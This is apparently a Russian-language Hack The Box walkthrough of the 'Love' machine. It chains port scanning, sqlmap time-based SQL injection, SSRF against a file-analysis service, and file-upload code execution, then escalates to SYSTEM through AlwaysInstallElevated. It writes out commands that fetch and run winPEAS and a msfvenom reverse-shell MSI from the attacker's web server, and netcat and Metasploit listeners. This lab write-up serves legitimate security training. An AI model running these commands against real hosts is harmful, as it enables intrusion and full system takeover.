Хакер - HTB Love. Захватываем веб-сервер на Windows и Apache через SSRF
hacker_frei
RalfHacker
Содержание статьи
- Разведка. Сканирование портов
- Точка входа
- Точка опоры
- Локальное повышение привилегий
В этой статье я покажу, как подделка серверных запросов (SSRF) может помочь при компрометации хоста. Также мы изучим метод повышения привилегий через опцию AlwaysInstallElevated. В этом нам поможет машина низкого уровня сложности под названием Love с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Адрес машины — 10.10.10.239, добавляем его в /etc/hosts.
10.10.10.239 love.htb
И сканируем порты.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Видим множество открытых портов и работающих на них служб:
- порты 80, 5000 — веб‑сервер Apache 2.4.46;
- порт 135 — служба удаленного вызова процедур (Microsoft RPC);
- порт 139 — служба имен NetBIOS;
- порт 443 — веб‑сервер Apache 2.4.46 + OpenSSL 1.1.1j;
- порт 445 — служба SMB;
- порт 3306 — СУБД MySQL;
- порт 5040 — неизвестно;
- порты 5985, 5986 — служба удаленного управления Windows (WinRM).
Первым делом проверяем, что нам может дать SMB (команда smbmap -H love.htb), но для анонима ничего не доступно. Поэтому переключаемся на веб. При сканировании порта 443 мы получили информацию из сертификата, откуда узнаем о еще одном сайте — staging.love.htb. Этот домен тоже добавляем в /etc/hosts.
10.10.10.239 staging.htb
Теперь внимательно изучим оба сайта в поисках точек для входа, имен пользователей и другой важной инфы. Сайт love.htb встречает нас формой авторизации, но нам становится известна используемая технология — Voting System.

ТОЧКА ВХОДА
Voting System — это несложная голосовалка, написанная на PHP. Наверняка для нее должны быть готовые эксплоиты. Запускаем searchsploit из Kali Linux и находим сразу несколько.

Нас интересуют четыре последних эксплоита:
- Первый эксплуатирует SQL-инъекцию для обхода авторизации.
- Второй даст удаленное выполнение кода через загрузку файлов, однако мы должны быть авторизованы в системе.
- Предпоследний эксплоит даст удаленное выполнение кода без авторизации.
- Последний — Time based SQL-инъекция, тоже без авторизации.
Сначала стоит попробовать эксплоиты, для которых не нужна авторизация. Наиболее опасный — RCE. Как сказано в описании, мы можем выполнить загрузку файла через /admin/candidates_add.php без авторизации и обратиться к файлу в директории images, вот только этот эксплоит не отработал.


Вариант с обходом аутентификации тоже не работает, а вот вариант с Time Based SQL-инъекцией оказался рабочим. Сохраняем запрос при авторизации в файл (в моем случае req.r) и передаем его в sqlmap, как сказано в описании к эксплоиту.

sqlmap --dbms=mysql --batch --level=1 --risk=3 -r req.r -p voter

Далее потихоньку вытаскиваем таблицы с помощью того же sqlmap:
sqlmap --level=1 --risk=3 -r req.r --tables
Но поскольку это Time Based SQLi, это будет очень долго, так что во время работы sqlmap можем тестировать другой сайт. На http://staging.love.htb на странице Demo есть сервис анализа файлов.

Для проверки сервиса откроем листенер и укажем в форме свой IP. И сразу получим отстук.

В таких сервисах стоит проверять наличие уязвимости SSRF. SSRF — это атака на сервер, в результате которой злоумышленник получает возможность отправлять запросы от имени скомпрометированного хоста. SSRF может использоваться в DoS-кампаниях для маскировки реального источника атаки. Таким образом, уязвимый хост выступает в качестве прокси‑сервера. Для теста SSRF указываем адрес 127.0.0.1 и получаем знакомую форму авторизации.

Есть SSRF! Но чем она нам может помочь? К примеру, мы можем просканировать порты, доступные для localhost, а также просматривать сервисы, работающие по HTTP. При сканировании портов мы получили ответ Forbidden от сервиса, за который отвечает порт 5000. Взглянем на него еще раз, используя наш «прокси».

Мы попали на какой‑то сервис, где можем подсмотреть пароль администратора, а затем авторизоваться на http://love.htb/admin/.

ТОЧКА ОПОРЫ
Так как у нас появились учетные данные, осталось проверить последний эксплоит, который даст удаленное выполнение кода через загрузку файла. Но перед запуском взглянем на исходный код эксплоита.

Эксплоит должен вызвать коннект на указанный адрес (локальный IP) и порт. Но сначала необходимо создать листенер, который будет принимать данное соединение. Я в таких случаях использую rlwrap — удобную оболочку с историей команд. В качестве листенера возьмем известный netcat.
apt install rlwrap
rlwrap nc -lvp [port]
Затем нужно указать адрес и порт листенера в строках 15 и 16 кода, адрес атакуемого хоста в строке 12, а также логин и пароль пользователя — в строках 13 и 14. Обрати внимание на URL в строках 19–22. В нашем случае на сайте отсутствует каталог votesystem, поэтому и в коде его нужно удалить. Ниже приведен измененный код эксплоита.

И после выполнения получаем бэкконнект.


ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Источников информации очень много, и в таких случаях пригождаются скрипты PEASS, которые проверяют их все на автомате. Загрузим на локальный хост скрипт для Windows.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe -O wpeas.exe
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью python простой веб‑сервер. После выполнения данной команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
А теперь с помощью того же powershell wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо выполнить скрипт.
powershell wget http://[ip_локального_хоста]:8000/wpeas.exe -O C:\Windows\Temp\wpeas.exe
C:\Windows\Temp\wpeas.exe
В выводе WinPEAS можно обратить внимание на настройку UAC, историю команд PowerShell, а главное — это установленная опция AlwaysInstallElevated.



Эта опция указывает, что любой файл MSI должен устанавливаться с повышенными привилегиями (NT AUTHORITY\SYSTEM). Соответственно, создав и загрузив такой файл, можно выполнять действия от имени системы даже непривилегированному пользователю.
Давай создадим файл MSI с реверс‑шеллом. В этом может помочь Metasploit Framework, а именно модуль msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f msi -o r.msi

Теперь запустим универсальный листенер в Metasploit. За это отвечает модуль handler, которому требуется знать тип нагрузки, а также локальные адрес и порт, где нужно принимать соединение.
handler -p windows/x64/shell_reverse_tcp -H 10.10.14.38 -P 4321

Загружаем файл .msi тем же способом, что и WinPEAS, а затем запускаем. Спустя несколько секунд получим новую сессию Metasploit.
powershell wget http://[ip_локального_хоста]:8000/r.msi -O C:\Windows\Temp\r.msi
msiexec /quiet /qn /i C:\Windows\Temp\r.msi

Мы захватили машину и имеем над ней полный контроль.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei